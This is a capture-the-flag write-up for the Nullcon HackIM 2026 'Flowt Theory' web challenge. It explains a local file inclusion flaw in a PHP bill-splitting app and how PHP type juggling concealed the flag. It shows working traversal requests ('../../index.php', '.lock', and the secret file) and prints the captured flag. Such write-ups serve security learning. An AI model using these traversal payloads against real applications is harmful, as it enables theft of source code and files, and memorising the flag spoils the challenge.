mis4nthr0pia

Nullcon HackIM CTF Goa 2026 – Flowt Theory

Category: Web / Misc

Difficulty: Easy/Medium

1. Challenge Overview

The challenge presented a “BillSplitter Lite” web application. The application allows users to input names and expense amounts, which it then calculates to settle debts. The prompt mentioned an “administrative fee” of 0.01 that was somehow hidden in the “extremely advanced math” of the calculation.

2. Vulnerability Analysis

Initial Discovery

Upon visiting the site, I entered group expenses and clicked “Calculate Group Total.” I noticed a “View Log” link next to each transaction. Clicking this link redirected me to a URL with a specific parameter:

?view_receipt=[filename]

Identifying LFI

I suspected a Local File Inclusion (LFI) or Path Traversal vulnerability and tested it by attempting to access a directory. I received a revealing PHP error:

Notice: file_get_contents(): Read of 8192 bytes failed with errno=21 Is a directory in /var/www/html/index.php on line 82

This confirmed that the view_receipt parameter was being passed directly into file_get_contents(). I immediately used this to leak the application’s source code:

http://52.59.124.14:5069/?view_receipt=../../index.php

Source Code Analysis

The leaked code showed that every user gets a private directory based on their session ID. Inside that directory, a “secret” file is created:

$secret_name = "secret_" . $random_suffix; 
$real_flag = trim(file_get_contents('/flag.txt'));
$content = "0.01\n" . $real_flag;
file_put_contents($user_dir . $secret_name, $content);
file_put_contents($flag_file_lock, $secret_name); // .lock stores the name

The “advanced math” was actually PHP Type Juggling. When the app sums up the totals, it uses (float)$content. Because the secret file starts with 0.01, PHP converts the string "0.01\nENO{flag}" into the float 0.01, effectively hiding the flag text from the UI but including the value in the “Vault Balance.”

3. Developing the Exploit

To find the flag, I needed to know the 8-character random suffix of the secret_ file. The source code revealed that this filename is conveniently stored in a file called .lock within the user’s directory.

4. The Solution Script

No script was necessary; the exploitation was performed manually through the browser based on the discovery of the .lock file.

  1. Read the pointer file: Access ?view_receipt=.lock to find the randomized filename.
  2. Read the flag file: Access ?view_receipt=[secret_filename_from_step_1] to read the flag.

5. The Winning Payload

Request 1 (Finding the filename):

http://52.59.124.14:5069/?view_receipt=.lock

Response: secret_eEuAvCmX

Request 2 (Extracting the flag):

http://52.59.124.14:5069/?view_receipt=secret_eEuAvCmX

6. Result

Viewing: secret_eEuAvCmX
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
Posted in:

Leave a Reply

Your email address will not be published. Required fields are marked *